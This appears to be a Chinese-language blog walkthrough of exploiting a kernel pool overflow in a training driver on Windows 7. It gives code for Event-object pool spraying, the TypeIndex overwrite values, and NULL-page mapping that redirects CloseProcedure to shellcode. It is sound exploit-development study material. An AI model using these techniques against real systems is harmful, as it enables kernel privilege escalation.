前言
文章参考:https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/
其中池的概念看那个论文也可以,CSDN上也有人翻译了:https://blog.csdn.net/qq_38025365/article/details/106259634
开始操作
查看漏洞点
通过ExAllocatePoolWithTag函数申请内存
然后可以通过查看源码(也可以通过IDA):
IOCTL:0x22200f(根据code803算的)
测试程序
然后编写程序测试:
DWORD bytesRetn;
char buf[100];
memset(buf, 'a', strlen(buf)*sizeof(char));
DeviceIoControl(hDevice, POOL_OVERFLOW_IO_CODE, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);
调整大小之后试试:
利用思路
将shellcode放在哪?
触发条件?
由于漏洞缓冲区是在事件对象之间,所以这里通过将shellcode放在CloseProcedure的地址上,这样只要调用CloseProcedure,就可以执行shellcode了
那怎么找到CloseProcedure在哪呢?如下分析
详细信息
使用指令!pool +address 可以看该地址周围的池信息
从图中可以看到池的大小为: 870a39c8 -870a37c8 =0x200
因为就像堆一样,,池首占8个字节
使用命令 dt _pool_header可以查看池首
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
图中标绿的就是下一个池的池首,也就是等会我们要修改的地方
然后我们可以使用createEvent来创建事件
其结构如下,而且其大小刚好为0x40刚好可以铺满我们整个池0x200
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
我们将喷射大量 Event 对象,将它们的句柄存储在数组中,并查看它如何影响我们的池:
所谓堆喷射(Heap spray)指的就是通过大量分配内存来填充进程地址空间以便于进一步利用的手段。
HANDLE Event_OBJECT[0x1000];
for (size_t i = 0; i < 0x1000; i++)
{
Event_OBJECT[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
可以发现内核池已经被铺成我们想要的样子了,然后就是制造空洞大小都是0x200,free状态(这一块我搞了好久,都是因为变量类型的错误,还有就是0x40要八个才能铺成0x200…)
for (size_t i = 0; i < 0x500; i++)
{
Event_Object2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (size_t i = 0; i < 0x1000; i++)
{
Event_Object1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}
for (size_t i = 0; i < 0x1000; i++)
{
// 0x40 * 8 = 0x200
for (size_t j = 0; j < 8; j++) {
CloseHandle(Event_Object1[i + j]);
}
i += 8;
}
查看数据,下一块池的大小0x40
然后使用命令dt nt!_object_header* 可以查看win7都是用了哪些对象结构(win7之前之后的结构都不太一样)
dt nt!_object_header*
Win7的_OBJECT_HEADER不再有NameInfoOffset、HandleInfoOffset和QuotaInfoOffset来指示从_POOL_HEADER到_OBJECT_HEADER这一段神秘的可变长空间。占据这三个偏移位置的三个成员分别为:TypeIndex、TraceFlags和InfoMask。
其中typeIndex保存的是Object_type的索引,同时通过**ObGetObjectType()**返回Object_type对象指针
TyoeIndex也是我们需要的
InfoMask:掩码
OB_INFOMASK_QUOTA 0x8
OB_INFOMASK_HANDLE 0x4
OB_INFOMASK_NAME 0x2
OB_INFOMASK_PROCESS 0x1
这点是参考如下博客:参考链接https://blog.csdn.net/xiaoxinjiang/article/details/5362827
然后根据掩码我们可以知道使用的是_OBJECT_HEADER_QUOTA_INFO
NonPagedPoolCharge字段表示的是池的大小
同时_OBJECT_HEADER_QUOTA_INFO占0x10
所以偏移0x18就是Object_header
使用dt _OBJECT_HEADER 871ee6c0 +18
查看结构
然后看一下ObGetObjectType()函数,发现是从一个表中取的
u ObGetObjectType
然后查看表中的内容找到偏移C处的地址为86aebb58
然后查看_OBJECT_TYPE: dt _object_type 86aebb58
然后展开TypeInfo的内容
看到CloseProcedure的偏移量变为0x28 + 0x38 = 0x60
这个偏移位置也就是等会我们要将shellcode覆盖到这的位置,然后调用CloseProcedure()最终执行我们的shellcode
同时可以看到第一个指针是空指针,所以也就是需要把0xc偏移改为0,也就是typeIndex=0,好让我们在0偏移处写上地址,然后在该地址的0x60处填上shellcode地址
在0偏移处写上地址(也就是在空页面写地址),可以使用NtAllocateVirtualMemory调用映射 NULL 页面
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
然后使用WriteProcessMemory调用将指向我们的 shellcode 的指针写入所需的位置(0x60)
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
那我们需要溢出多少字节呢?只需要覆盖到TypeIndex就行了,也就是0xc(Type_Index偏移)+0x10(_OBJECT_HEADER_QUOTA_INFO)+0x8(pool_header)+4(Type_Index位置)=0x28
编写exp
let’s go
…中间调试蓝屏好几次
修改TypeIndex
int temp1[10] = { 0x04080040 ,0xee657645 ,0x00000000 ,0x00000040,0x00000000,0x00000000,00000001,00000001 ,0x00000000,0x00080000 };
for (size_t i = 0; i < 10; i++)
{
memcpy(&buf[PoolSize+4*i], &(temp1[i]), 0x4);
}
1073741819 (0xC0000005)的问题,说明申请0页内存失败了…
//申请失败时候的代码
//NtAllocateVirtualMemory = (My_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[-]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]successed to get function NtAllocateVirtualMemory\n\n");
printf("[+]Started to alloc zero page...\n");
PVOID BaseAddress = (PVOID)1;
PULONG RegionSize = (PULONG)0x3000;
NTSTATUS status;
status = NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);//STATUS_SUCCESS =0
printf("[+++]status is %d,ZeroAddress is %p\n\n", status, BaseAddress);
if ((status != 0) || (BaseAddress != NULL))
{
printf("[-]Failed to alloc zero page!!!\n");
system("pause");
return 0;
}
修改之后
修改参考代码
可以看到shellcode已经写入到该地址了